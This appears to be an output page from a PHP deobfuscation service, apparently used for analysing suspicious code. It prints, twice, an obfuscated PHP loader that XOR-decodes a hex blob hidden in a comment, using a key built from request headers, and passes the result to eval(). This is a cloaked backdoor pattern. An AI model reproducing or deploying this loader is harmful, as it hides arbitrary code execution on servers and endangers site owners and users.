Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $fysotzk = $_SERVER["H\X54\X54P_U\X53E\X52\X5FAGE\X4ET"]; $fysotzk .= $_SERVER["HT..

Decoded Output download

<?php 
$fysotzk = $_SERVER["H\X54\X54P_U\X53E\X52\X5FAGE\X4ET"]; 
$fysotzk .= $_SERVER["HTTP\X5FA\X43CE\X50T_LA\X4EG\X55\X41\X47\X45"]; 
$uhzcasq = md5($fysotzk); 
/* 
386f7 65541435B 166740 51460A4a445 C5C 04110019 0D693D750A 5B5C 6d4550401D42525 94041 5805416d 5144175742 46154f1917001 14d0C3 869755C5C5f6a4 750111E17 
57584714545 34d69164 c514746164 96f55441658471 01219 121105131C5E3B3 A3E3B 5D02105B4745004 c18116d3376636 46d43474017126 81B1F4e 393F6c3B3A3A 1553014c6d474 217180D15163C69 7F63623F1056 0C5B41575 
84113685E3 B3A3A 154 61718 0F1411460 454410C4b17 1A190A4b53415D1 6465B1 10E 393F683C395a 571C14 4a57536 908 5944565a4 b1D42431A4050 50176a4646 44191058044253 5B181D1F35 383D3F415 C5141573C 584 242 1659175 f105a5B 6d5 250575a01531 8544b5 D0A5E 
5E5 54200101 45853175 a586 b07391E19 
521C0E3F3C 3C3D530A44 5552525C4c1C 56554 2006751474 043584310120F52 4c5E0B114 4451C4f386 f3F 393A58524c5E 5B58533A 4845 416d00 565E44530A434 64b115E574f1914 111345191A3C3E 
6d313 B3D530650 5f1516085C491E1 64317451 641155D5D095 6474a0817083 C3E6d314f393 C6c453D3F 3B6e3339554e0 D430E6e3F48575 a46515C031E594 042511010166b 662A6b646 e150641176 d1F4d 4c38693C 38383F115350116 94347431 45918166b662A6 b646 e150056 5E44 530A43123E0E383 83F1146464 50B10141208 004c0C1C184f 110C1A5617071 3435f430C38693 83F3B5f531C451 753 576c5C 
55105B5a1C1217 4b1C1155064d6f4 342161B11 0E544151 5E1C1D 4e683C393A1 547104 a12091602 42595B540F 5844551E405a54 17565D 
6907681 
D0E683C393 A544205541A1045 114a190E3F6930 4d3D3C6d3A3F6a 504d5B420E393 F6c3B3 A4e5458175D5B 521E0C4b4350464 b1D6f607 
937636e4 
44650 5711681 D1C 1E3B3 A3A3C3E6 d1C 545D5a 0B595D50125E191 46f662B6 
4613812535C57 
585112380 D3D39385 D0210 545D5a00675 54d5B104d4318 120 25E590 D545 8571F1C4f386f3 F393E3B3D6d5D 515C 59455E5 959573C5E554 46907585B1 7505B 46451D10530 C5a5E 525C514d033F 3E3F6c353A 3C4f6e333 93D3 C6d524 d0A410E3F3C3C3 93F18535 C40544f69321644 5711501 0081 23C667479643B 680E43383F5B501 D5D46165344 1B156b2271 7E7 165 
3E1A454 55E0C5854555202 5E5 90617 681B1 F4e393F6 c124452435301 4c6d44 5711500 D5753105C5E51 5B011F113 C737C7E73666f1 7104 
65C5C505 0015C545D5a0 01A6d6e100D5 85D5514391E0E 6e3 F3C5 B501D59 5a13536f4641 580B5956 51523A5E595 9574b1D6 f767F28726 6381740425a 5a55 510052565a5D 51466 5691 64208486f5B530E 5C126d1A 404 35411525046694 
555410 D1F 19483C3E6d 315 7575E 0A18120 
9540C574410550 B5B5a110869 105147515 00B6a120D 575D 085D1241460 95751515707051 F56590A430B5f5 74712190B160E6 83C394e54581 75D 49393C 6c3155565a0C19 120C500B 5941 435 65a5E 594709694744555 
76d165a4d425 
859045C1053530 A550C 1F50 
0B59415D0957401 61A 0A1 
75E3B3A3A 
4c396e453F3E 530650 5f15105f5f5f42 5B44525B 00414c4253 
086817 08435C47584405 4a461B5 00A 4a5D1856024d 516c14445a501 75D5a560B691665 2A65646f13 0A58515C4 443 11185E545f0604 6c12431 45B5a02515056 505C5 850391410 47484401056e1 6500C 
54556910 4c070C59581 442414341 4c42 530868171643525 E5840381A1 24257094d 55086e416c4 05C590553 15255C5 957 6a171 B0B5919565C43 595a041 D40525B04 1F4 140 5D1B0B3D3 C02425B0041 5C5D 581553 50111 
E14464358 481816505f1711 4b38386a1D53 580B 
0742470F6a5C5C 5f41 1C1C5E3B3A3 A524116 546d47531157404 11A475a5 81C162 762672F7a656 669606679491614 4643584d03 3F3E3F 064d4 2596d105C 445 f46101F11 
005D1912756066 792 A66646c6371306d 607a6237797E667 4266b1 C10074d0C3 
8693C5647445 96b4600425 f43451C405B 5a1875306a7C7a6 237666479 7B217860371 904021F0 E393 F6c12545 245554405 12574317546f 504a 065a1814550C1E 0E6e3F3C 
5B501D15110157 4452184f6932 3B3D1201594 
454125E1970565f 08526a04 50416d555a5a 410 058 4440191 
0114a5E1D0D6832 39483F69 3056595a0168451 6416a51595 B40500B42431B 15500D 4a1E1412015 944541B5834 3A4d 
3B6e5E5 3431D116d7170 
606e425247146 c1D44433F3E3F41 5C47150 F431D6f 7773306c1 207 42126f0D383E 3C415247130C1 4065 941510051675450 510 C5D5 5184 51045 6a115 a4103051D1051 121 F19083C3E6d 5154141E154a55 526d 0E5844535E4c1 01A16 47590F1E1B1 E0A4c10545a43 094 c16 181D194 2141011 56141510145f 0A515a4a1C1 5493B3F3 D3C 4143425f1109 441C5B5a500A63 0168096e3339 3912005E47430 815165f5B5 25a3E04 6d0 83C3E6d4512515 a16 5D104 e3F 69303940440 1506a0E54 41515E1D 131A10445C0 E191 A4e1 11D13 1A451 C54421E431 D595E500B1E 0E6e3F3C3 B1240465 9450B10175 85a0257690 56b5E353A3C3 B475D59 42165917 12440E38383F4 
8393F6c464256 566 b09 594 6575E4d1F1F1D1C 49106c1F1E 4a1D1C 3F1B1D1C1C 0A1D114a111C1 3154116541E14 120B110B38386 a5056 101E40596e50 68150F 0B1513411 
D42171A114f693 23B3 D121F 180D15151351 401 70D693D3C6a115 B535B5 
0140845125E680 3695f3 5383D4b455 D5C465743423D3 A3F6d13 4f43081516 586e07 685E3 B3A3A38100 A59 5f511658 18124 1570 E495 C514201150E6e3 F3C4f 3B3F3D5C03161 
817555D161 8130916 421F1915496 e33393912005E47 4308151669667 16733736268 
13702B7B6779 732B6c6f677D2C6 d126d 164a17124c12151 C161 1505C1 7161E13161B 43181C141 20B595D50124d1 9171 E1144 191 5474f0E3F 
3C3 C4915005a43561 
14f69323B3D 1201 5142150F431D6f6 3733 66170316e1 77679766178207 8646c63 7B2B6c1 069164b1817 1A15431 710145 8055a5 0431B1515181 2141B45124a08 3C3E6d453 F3E3F025D441D 16164b5C1C 1640535C111C0E 3F3C3C5D 53451E565a5D 513B5D4a5D451 14b18115 60A4b1 919161F3A3F6a3C 50515E5a141759 
42420D0D40 
00060E525 90B4 
c10565D 0F56420D6a465 047065 05B6e140B50 5a12585C5C5050 444b47575500 4b4309 
1D05565 E4408581841 070B091 D42470A1 75E3B 3A3A4c1 4015 441511 61E353A3C3 B065a 585f16460B 
41110B0 946520B08530A5 84413525B085740 096a4 74a55516e410754 5f410 A5B5a025115 54575C58094a5 05f5D450A5817 465 008591744 470C41023D3A3F 193A3 F1E1 550 5E45505D534 51E146 c617B376c691351 004c6f4 0400 F1E6d191 
61F3A3F6a 1140405a150915 4169607 C62603F1F5 55142 3A4d4259153E0 23D3A3F144550 046a585342565 C1D421 9181 
D1B1D38 171A1A1C4 c641E1D1 C490619 14194 31B154740475 E1A 151 05B4c0D3D3 
9385 D02181A10 583E0B6d150F5E 
1917444e10101C 434e38383F3 C104f450B101441 
5C141F0 9393C6c3 1145B53 0E5 C100D164059 6e51680E3F3C3 C4915005a435611 
4f69323B3 D121F1 80D15160D62 036d0D693D3C6a1 
15B535B501 4084 51444565C 4408594651145E3 53A 3C4f6e33 3914520D4 5155E15116d6 67a6761 3E11544350400 C1F6f 1418451A 1F17124d1914 5E570952154d151 21C11151 A15414c0B 3E3B 3D03 5D461C12104a5C 1912475D59421F 5f3A3 F6a5C53121 
E535D590069 554b5847104b 1A10520C4a 191C12183 43A393 F0154 5D0C15170E42470 A09115 20E0F575B0A 4c125759 095742086e415 E4255530A 6b175D515a455 8595B540 11643465 257014b 41081903 575E 410C5f 164454085818 41110B1 7093B3F 3D4845535C40 54141F 35383 D3F005B585a12 41054 44208584 3515D09535D58 411456 
0A5a5f 410C68 
464a57 506 a470 6545a450D555f 51524451540 A59091D505a5a4 15B0A1F475 50A58174 6460847033D3F3B 1E343A4d3B6e5 2560B 5a15100A41460B 5942540D0D520B 4a5f145B004c5 85a565E6512607 937 636941155 451425C5B5B58 6a126 f130A5 84b42 55585B6d42590 
843051F4346055 90B5f5C5B42 4341 14411C4655 0E45511C4c125a5 708 5D0D 6910045C446f431 65B69411543 535a4 05108 39146c110F080D 
56424142454 c4945575E65 12585f0053500D 691712585459 
50586a125741551 0506e161 61359 
5C40575E65 12144605435D3 F170B0E5f5B44 401116444 a4151594 b47565B0C 4c1043530F4c55 0D6a46 705017735C 5E53 69160B 5919565 C43 595a04 1D405 25B041F 41405D1B0B3D 3C193A3F6e3F  
*/ 
$yxtbglb = __FILE__ ; 
$nnlpoao = fopen($yxtbglb,"r"); 
$vokiqcy = fread($nnlpoao,filesize($yxtbglb)); 
function rdnjrjl($yxtbglb, $fysotzk){ 
	$uhzcasq=""; 
	$nnlpoao = strlen($yxtbglb); 
	for($vokiqcy=0;$vokiqcy<$nnlpoao;$vokiqcy+=2) 
		$uhzcasq.=urldecode("%".substr($yxtbglb,$vokiqcy,2)); 
	 
	$strLen = strlen($uhzcasq); 
	$nnlpoao = strlen($fysotzk); 
    $cuawejh = ""; 
    for($vokiqcy=0; $vokiqcy<$strLen; $vokiqcy++){ 
		$tjhfqks = $vokiqcy % $nnlpoao; 
        $cuawejh .= chr(ord($uhzcasq[$vokiqcy])^ord($fysotzk[$tjhfqks])); 
    } 
	return $cuawejh; 
} 
if(preg_match("#/\*(.*?)\*/#si", $vokiqcy, $tjhfqks)){ 
	$vokiqcy = trim($tjhfqks[1]); 
	$vokiqcy = trim($vokiqcy); 
	$vokiqcy = preg_replace("/\s+/i", "", $vokiqcy); 
	eval(rdnjrjl($vokiqcy, $uhzcasq)); 
} ?>

Did this file decode correctly?

Original Code

<?php
$fysotzk = $_SERVER["H\X54\X54P_U\X53E\X52\X5FAGE\X4ET"];
$fysotzk .= $_SERVER["HTTP\X5FA\X43CE\X50T_LA\X4EG\X55\X41\X47\X45"];
$uhzcasq = md5($fysotzk);
/*
386f7 65541435B 166740 51460A4a445 C5C 04110019 0D693D750A 5B5C 6d4550401D42525 94041 5805416d 5144175742 46154f1917001 14d0C3 869755C5C5f6a4 750111E17
57584714545 34d69164 c514746164 96f55441658471 01219 121105131C5E3B3 A3E3B 5D02105B4745004 c18116d3376636 46d43474017126 81B1F4e 393F6c3B3A3A 1553014c6d474 217180D15163C69 7F63623F1056 0C5B41575
84113685E3 B3A3A 154 61718 0F1411460 454410C4b17 1A190A4b53415D1 6465B1 10E 393F683C395a 571C14 4a57536 908 5944565a4 b1D42431A4050 50176a4646 44191058044253 5B181D1F35 383D3F415 C5141573C 584 242 1659175 f105a5B 6d5 250575a01531 8544b5 D0A5E
5E5 54200101 45853175 a586 b07391E19
521C0E3F3C 3C3D530A44 5552525C4c1C 56554 2006751474 043584310120F52 4c5E0B114 4451C4f386 f3F 393A58524c5E 5B58533A 4845 416d00 565E44530A434 64b115E574f1914 111345191A3C3E
6d313 B3D530650 5f1516085C491E1 64317451 641155D5D095 6474a0817083 C3E6d314f393 C6c453D3F 3B6e3339554e0 D430E6e3F48575 a46515C031E594 042511010166b 662A6b646 e150641176 d1F4d 4c38693C 38383F115350116 94347431 45918166b662A6 b646 e150056 5E44 530A43123E0E383 83F1146464 50B10141208 004c0C1C184f 110C1A5617071 3435f430C38693 83F3B5f531C451 753 576c5C
55105B5a1C1217 4b1C1155064d6f4 342161B11 0E544151 5E1C1D 4e683C393A1 547104 a12091602 42595B540F 5844551E405a54 17565D
6907681
D0E683C393 A544205541A1045 114a190E3F6930 4d3D3C6d3A3F6a 504d5B420E393 F6c3B3 A4e5458175D5B 521E0C4b4350464 b1D6f607
937636e4
44650 5711681 D1C 1E3B3 A3A3C3E6 d1C 545D5a 0B595D50125E191 46f662B6
4613812535C57
585112380 D3D39385 D0210 545D5a00675 54d5B104d4318 120 25E590 D545 8571F1C4f386f3 F393E3B3D6d5D 515C 59455E5 959573C5E554 46907585B1 7505B 46451D10530 C5a5E 525C514d033F 3E3F6c353A 3C4f6e333 93D3 C6d524 d0A410E3F3C3C3 93F18535 C40544f69321644 5711501 0081 23C667479643B 680E43383F5B501 D5D46165344 1B156b2271 7E7 165
3E1A454 55E0C5854555202 5E5 90617 681B1 F4e393F6 c124452435301 4c6d44 5711500 D5753105C5E51 5B011F113 C737C7E73666f1 7104
65C5C505 0015C545D5a0 01A6d6e100D5 85D5514391E0E 6e3 F3C5 B501D59 5a13536f4641 580B5956 51523A5E595 9574b1D6 f767F28726 6381740425a 5a55 510052565a5D 51466 5691 64208486f5B530E 5C126d1A 404 35411525046694
555410 D1F 19483C3E6d 315 7575E 0A18120
9540C574410550 B5B5a110869 105147515 00B6a120D 575D 085D1241460 95751515707051 F56590A430B5f5 74712190B160E6 83C394e54581 75D 49393C 6c3155565a0C19 120C500B 5941 435 65a5E 594709694744555
76d165a4d425
859045C1053530 A550C 1F50
0B59415D0957401 61A 0A1
75E3B3A3A
4c396e453F3E 530650 5f15105f5f5f42 5B44525B 00414c4253
086817 08435C47584405 4a461B5 00A 4a5D1856024d 516c14445a501 75D5a560B691665 2A65646f13 0A58515C4 443 11185E545f0604 6c12431 45B5a02515056 505C5 850391410 47484401056e1 6500C
54556910 4c070C59581 442414341 4c42 530868171643525 E5840381A1 24257094d 55086e416c4 05C590553 15255C5 957 6a171 B0B5919565C43 595a041 D40525B04 1F4 140 5D1B0B3D3 C02425B0041 5C5D 581553 50111
E14464358 481816505f1711 4b38386a1D53 580B
0742470F6a5C5C 5f41 1C1C5E3B3A3 A524116 546d47531157404 11A475a5 81C162 762672F7a656 669606679491614 4643584d03 3F3E3F 064d4 2596d105C 445 f46101F11
005D1912756066 792 A66646c6371306d 607a6237797E667 4266b1 C10074d0C3
8693C5647445 96b4600425 f43451C405B 5a1875306a7C7a6 237666479 7B217860371 904021F0 E393 F6c12545 245554405 12574317546f 504a 065a1814550C1E 0E6e3F3C
5B501D15110157 4452184f6932 3B3D1201594
454125E1970565f 08526a04 50416d555a5a 410 058 4440191
0114a5E1D0D6832 39483F69 3056595a0168451 6416a51595 B40500B42431B 15500D 4a1E1412015 944541B5834 3A4d
3B6e5E5 3431D116d7170
606e425247146 c1D44433F3E3F41 5C47150 F431D6f 7773306c1 207 42126f0D383E 3C415247130C1 4065 941510051675450 510 C5D5 5184 51045 6a115 a4103051D1051 121 F19083C3E6d 5154141E154a55 526d 0E5844535E4c1 01A16 47590F1E1B1 E0A4c10545a43 094 c16 181D194 2141011 56141510145f 0A515a4a1C1 5493B3F3 D3C 4143425f1109 441C5B5a500A63 0168096e3339 3912005E47430 815165f5B5 25a3E04 6d0 83C3E6d4512515 a16 5D104 e3F 69303940440 1506a0E54 41515E1D 131A10445C0 E191 A4e1 11D13 1A451 C54421E431 D595E500B1E 0E6e3F3C3 B1240465 9450B10175 85a0257690 56b5E353A3C3 B475D59 42165917 12440E38383F4
8393F6c464256 566 b09 594 6575E4d1F1F1D1C 49106c1F1E 4a1D1C 3F1B1D1C1C 0A1D114a111C1 3154116541E14 120B110B38386 a5056 101E40596e50 68150F 0B1513411
D42171A114f693 23B3 D121F 180D15151351 401 70D693D3C6a115 B535B5
0140845125E680 3695f3 5383D4b455 D5C465743423D3 A3F6d13 4f43081516 586e07 685E3 B3A3A38100 A59 5f511658 18124 1570 E495 C514201150E6e3 F3C4f 3B3F3D5C03161
817555D161 8130916 421F1915496 e33393912005E47 4308151669667 16733736268
13702B7B6779 732B6c6f677D2C6 d126d 164a17124c12151 C161 1505C1 7161E13161B 43181C141 20B595D50124d1 9171 E1144 191 5474f0E3F
3C3 C4915005a43561
14f69323B3D 1201 5142150F431D6f6 3733 66170316e1 77679766178207 8646c63 7B2B6c1 069164b1817 1A15431 710145 8055a5 0431B1515181 2141B45124a08 3C3E6d453 F3E3F025D441D 16164b5C1C 1640535C111C0E 3F3C3C5D 53451E565a5D 513B5D4a5D451 14b18115 60A4b1 919161F3A3F6a3C 50515E5a141759
42420D0D40
00060E525 90B4
c10565D 0F56420D6a465 047065 05B6e140B50 5a12585C5C5050 444b47575500 4b4309
1D05565 E4408581841 070B091 D42470A1 75E3B 3A3A4c1 4015 441511 61E353A3C3 B065a 585f16460B
41110B0 946520B08530A5 84413525B085740 096a4 74a55516e410754 5f410 A5B5a025115 54575C58094a5 05f5D450A5817 465 008591744 470C41023D3A3F 193A3 F1E1 550 5E45505D534 51E146 c617B376c691351 004c6f4 0400 F1E6d191
61F3A3F6a 1140405a150915 4169607 C62603F1F5 55142 3A4d4259153E0 23D3A3F144550 046a585342565 C1D421 9181
D1B1D38 171A1A1C4 c641E1D1 C490619 14194 31B154740475 E1A 151 05B4c0D3D3
9385 D02181A10 583E0B6d150F5E
1917444e10101C 434e38383F3 C104f450B101441
5C141F0 9393C6c3 1145B53 0E5 C100D164059 6e51680E3F3C3 C4915005a435611
4f69323B3 D121F1 80D15160D62 036d0D693D3C6a1
15B535B501 4084 51444565C 4408594651145E3 53A 3C4f6e33 3914520D4 5155E15116d6 67a6761 3E11544350400 C1F6f 1418451A 1F17124d1914 5E570952154d151 21C11151 A15414c0B 3E3B 3D03 5D461C12104a5C 1912475D59421F 5f3A3 F6a5C53121
E535D590069 554b5847104b 1A10520C4a 191C12183 43A393 F0154 5D0C15170E42470 A09115 20E0F575B0A 4c125759 095742086e415 E4255530A 6b175D515a455 8595B540 11643465 257014b 41081903 575E 410C5f 164454085818 41110B1 7093B3F 3D4845535C40 54141F 35383 D3F005B585a12 41054 44208584 3515D09535D58 411456
0A5a5f 410C68
464a57 506 a470 6545a450D555f 51524451540 A59091D505a5a4 15B0A1F475 50A58174 6460847033D3F3B 1E343A4d3B6e5 2560B 5a15100A41460B 5942540D0D520B 4a5f145B004c5 85a565E6512607 937 636941155 451425C5B5B58 6a126 f130A5 84b42 55585B6d42590
843051F4346055 90B5f5C5B42 4341 14411C4655 0E45511C4c125a5 708 5D0D 6910045C446f431 65B69411543 535a4 05108 39146c110F080D
56424142454 c4945575E65 12585f0053500D 691712585459
50586a125741551 0506e161 61359
5C40575E65 12144605435D3 F170B0E5f5B44 401116444 a4151594 b47565B0C 4c1043530F4c55 0D6a46 705017735C 5E53 69160B 5919565 C43 595a04 1D405 25B041F 41405D1B0B3D 3C193A3F6e3F 
*/
$yxtbglb = __FILE__ ;
$nnlpoao = fopen($yxtbglb,"r");
$vokiqcy = fread($nnlpoao,filesize($yxtbglb));
function rdnjrjl($yxtbglb, $fysotzk){
	$uhzcasq="";
	$nnlpoao = strlen($yxtbglb);
	for($vokiqcy=0;$vokiqcy<$nnlpoao;$vokiqcy+=2)
		$uhzcasq.=urldecode("%".substr($yxtbglb,$vokiqcy,2));
	
	$strLen = strlen($uhzcasq);
	$nnlpoao = strlen($fysotzk);
    $cuawejh = "";
    for($vokiqcy=0; $vokiqcy<$strLen; $vokiqcy++){
		$tjhfqks = $vokiqcy % $nnlpoao;
        $cuawejh .= chr(ord($uhzcasq[$vokiqcy])^ord($fysotzk[$tjhfqks]));
    }
	return $cuawejh;
}
if(preg_match("#/\*(.*?)\*/#si", $vokiqcy, $tjhfqks)){
	$vokiqcy = trim($tjhfqks[1]);
	$vokiqcy = trim($vokiqcy);
	$vokiqcy = preg_replace("/\s+/i", "", $vokiqcy);
	eval(rdnjrjl($vokiqcy, $uhzcasq));
}

Function Calls

None

Variables

$fysotzk None

Stats

MD5 3d68d4e5a25547eff26dbc95cb075a1a
Eval Count 0
Decode Time 249 ms